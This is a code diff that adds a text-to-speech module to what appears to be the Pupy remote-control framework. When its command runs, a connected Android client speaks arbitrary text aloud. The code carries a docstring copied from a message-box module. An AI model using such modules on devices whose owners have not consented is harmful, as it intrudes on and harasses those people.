adding text to speach module on android !

pupy/modules/android_tts.py

@@ -0,0 +1,21 @@
+# -*- coding: UTF8 -*-
+from pupylib.PupyModule import *
+
+__class_name__="AndroidTTS"
+
+class AndroidTTS(PupyModule):
+	""" Pop up a custom message box """
+	dependencies=['pupydroid.text_to_speach']
+	def init_argparse(self):
+		self.arg_parser = PupyArgumentParser(prog="msgbox", description=self.__doc__)
+		self.arg_parser.add_argument('--lang', default='US', help='change the locale')
+		self.arg_parser.add_argument('text', help='text to speak out loud')
+
+	@android_only
+	def is_compatible(self):
+		pass
+
+	def run(self, args):
+		self.client.conn.modules['pupydroid.text_to_speach'].speak(args.text, lang=args.lang)
+		self.success("The truth has been spoken !")
+

pupy/packages/android/pupydroid/text_to_speach.py

@@ -0,0 +1,36 @@
+#!/usr/bin/env python
+# -*- coding: UTF8 -*-
+# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
+# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
+from jnius import autoclass
+import time
+
+def speak(text, lang='US'):
+	""" use the text to speach API to speak text out loud :-) """
+	Locale = autoclass('java.util.Locale')
+	PythonActivity = autoclass('org.renpy.android.PythonService')
+	TextToSpeech = autoclass('android.speech.tts.TextToSpeech')
+	tts = TextToSpeech(PythonActivity.mService, None)
+	time.sleep(0.1) #dirty but avoid implementing TextToSpeech.OnInitListener
+	try:
+		if lang is not None:
+			if lang in ['CANADA', 'CANADA_FRENCH', 'CHINA', 'CHINESE', 'ENGLISH', 'FRANCE', 'FRENCH', 'GERMAN', 'GERMANY', 'ITALIAN', 'ITALY', 'JAPAN', 'JAPANESE', 'KOREA', 'KOREAN', 'PRC', 'PRIVATE_USE_EXTENSION', 'ROOT', 'SIMPLIFIED_CHINESE', 'TAIWAN', 'TRADITIONAL_CHINESE', 'UK', 'UNICODE_LOCALE_EXTENSION', 'US']:
+				error_codes={-1:'LANG_MISSING_DATA', -2:'LANG_NOT_SUPPORTED'}
+				ret=tts.setLanguage(getattr(Locale,lang))
+				if ret in error_codes:
+					raise Exception("Error in setLanguage: %s for lang: %s"%(error_codes[ret],lang))
+			else:
+				raise Exception("no such locale : %s"%lang)
+		#ref. http://developer.android.com/reference/android/speech/tts/TextToSpeech.html
+		ret=tts.speak(str(text), TextToSpeech.QUEUE_FLUSH, None)
+		for i in range(0,10):
+			time.sleep(0.1)
+		while tts.isSpeaking():
+			time.sleep(0.1)
+		if ret == TextToSpeech.LANG_MISSING_DATA:
+			raise Exception("Error: LANG_MISSING_DATA")
+		return ret
+	finally:
+		tts.shutdown()
+
+